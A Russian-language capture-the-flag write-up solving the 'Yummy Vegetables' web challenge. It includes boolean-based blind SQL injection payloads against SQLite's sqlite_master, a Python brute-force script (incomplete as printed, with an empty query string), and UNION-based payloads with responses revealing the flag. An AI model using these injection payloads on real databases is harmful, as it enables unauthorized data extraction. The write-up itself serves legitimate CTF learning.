Web category — Yummy Vegetables.
Challenge.
Points: 300
Solves: 207
I love me my vegetables, but I can never remember what color they are! I know lots of people have this problem, so I made a site to help.
Here’s some sauce to go with the vegetables: index.js
Решение.
Предупреждаю, решение не из лучших, и после того как решил этим способом, понял, что можно было сделать всё в разы проще 😛
Заходим на сайт, и нас встречает простенький интерфейс, единственный функционал которого — поиск овощей.
Глянем index.js, данный в исходниках к заданию. Важных строк здесь две, первая строчка указывающая, что используется sqlite3 и строчка формирующая запрос.
3 const sqlite = require('better-sqlite3');
...
39 const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;
Почему-то во время СТФки я решил, что тут нужна Boolean Based инъекция. Окей, пробую сформировать базовый пейлоад:
s' AND 1=1 OR name LIKE 'a
При 1=1 возвращается 10 результатов, а при 1=2 результатов 5. Теперь узнаем кол-во таблиц:
s' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' )=number_of_table OR name LIKE 'a
Узнаем, что всего 2 таблицы. Следующим шагом, нужно узнать названия таблиц, пишем простенький скрипт на питоне, в котором будем менять значение параметра "query"
на наши пейлоады.
import requests
import string
url = "http://host.cg21.metaproblems.com:4010/search"
session = requests.session()
result = list("")
asd = string.printable[:-6]
i = 1
while True:
for character in asd:
r = session.request("SEARCH", url, json={"query":f""})
print(f"trying {''.join(result) + character}")
if ('10 result(s)' in r.text):
result.append(character)
i+=1
break
Для этого используем следующмй пейлоад:
s' AND (SELECT hex(substr(tbl_name,{i},1)) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 2 offset 1)=hex('{character}') OR name LIKE 'a
где параметр {i}
— номер символа, а значения limit 2
и offset 1
означают, что берём срез названия второй таблицы (P.S. соответственно, если бы были значения limit 1 offset 0
это был бы срез названия первой таблицы). Запускаем скрипт, и узнаем, что название второй таблицы:
the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5
Окей, идём дальше, теперь узнаем названия столбцов из этой таблицы:
s' and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOTNULL',''),',','~~'),'`',''),{i},1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5')=hex('{character}') OR name LIKE 'a
где {i}
— номер символа, и соответсвенно {character}
— перебираемый символ
Сложноватый для понимания пейлоад если честно 🙂 Но если в двух словах, он просто считывает названия всех столбцов, разделяя их названия двумя символами ~
, то есть вид будет примерно такой: column1 ~~ column2 ~~ column3
. Запускаем и узнаём, что в таблице всего один столбец — flag
. (Predictable :P)
И остался последний шаг, извлеч данные из таблицы, тут уже пейлоад попроще 😀
s' and (Select hex(substr(flag,{i},1)) from the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5 limit 1 offset 0)=hex('{character}') OR name LIKE 'a
где соотвественно первый параметр у substr()
это название колонки. Запускаем, и получаем заветный флаг:
🚩 MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}🚩
Теперь о простом решении 😀
Зачем тут вообще Boolean Based, мы же видим ВЫВОД. Ловим запрос в BurpSuite и с помощью следующего пейлоада узнаем кол-во таблиц и их названия:
' and 0 UNION SELECT name, null, null FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%';--
В ответе:
{"success":true,"msg":"2 result(s)","results":[{"id":"the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5","name":null,"color":null},{"id":"veggies","name":null,"color":null}]}
Теперь просто прочитаем из нужной таблицы значение колонки:
' and 0 UNION SELECT flag, null, null FROM the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5;--
В ответе:
{"success":true,"msg":"1 result(s)","results":[{"id":"MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}","name":null,"color":null}]}